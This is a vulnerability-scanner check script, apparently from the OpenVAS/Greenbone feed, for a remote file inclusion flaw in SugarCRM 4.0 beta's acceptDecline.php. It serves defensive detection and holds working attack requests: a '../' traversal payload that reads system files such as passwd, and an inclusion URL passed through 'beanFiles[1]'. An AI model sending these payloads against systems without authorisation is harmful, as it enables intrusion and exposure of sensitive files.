SugarCRM <= 4.0 beta Remote File Inclusion Vulnerability

# SPDX-FileCopyrightText: 2005 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:sugarcrm:sugarcrm";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20286");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2005-4087", "CVE-2005-4086");
  script_name("SugarCRM <= 4.0 beta Remote File Inclusion Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2005 Ferdy Riphagen");
  script_dependencies("gb_sugarcrm_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("sugarcrm/installed");

  script_xref(name:"URL", value:"http://retrogod.altervista.org/sugar_suite_40beta.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15760");
  script_xref(name:"URL", value:"https://marc.info/?l=bugtraq&m=113397762406598&w=2");

  script_tag(name:"solution", value:"Upgrade to Sugar Suite version 3.5.1e and/or disable PHP's
  'register_globals' setting.");

  script_tag(name:"summary", value:"The version of SugarCRM installed on the remote host does not
  properly sanitize user input in the 'beanFiles[]' parameter in the 'acceptDecline.php' file.");

  script_tag(name:"impact", value:"A attacker can use this flaw to display sensitive information and to
  include malicious code which can be used to execute arbitrary commands.

  This vulnerability exists if 'register_globals' is enabled.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];

  string[0] = "../../../../../../../../" + file;
  string[1] = string("http://", get_host_name(), "/robots.txt");
  pat =  pattern + "|User-agent:";

  for(exp = 0; string[exp]; exp++) {
    url = string(dir, "/acceptDecline.php?beanFiles[1]=", string[exp], "&beanList[1]=1&module=1");
    if (http_vuln_check(port: port, url: url, pattern: pat, check_header: TRUE)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(0);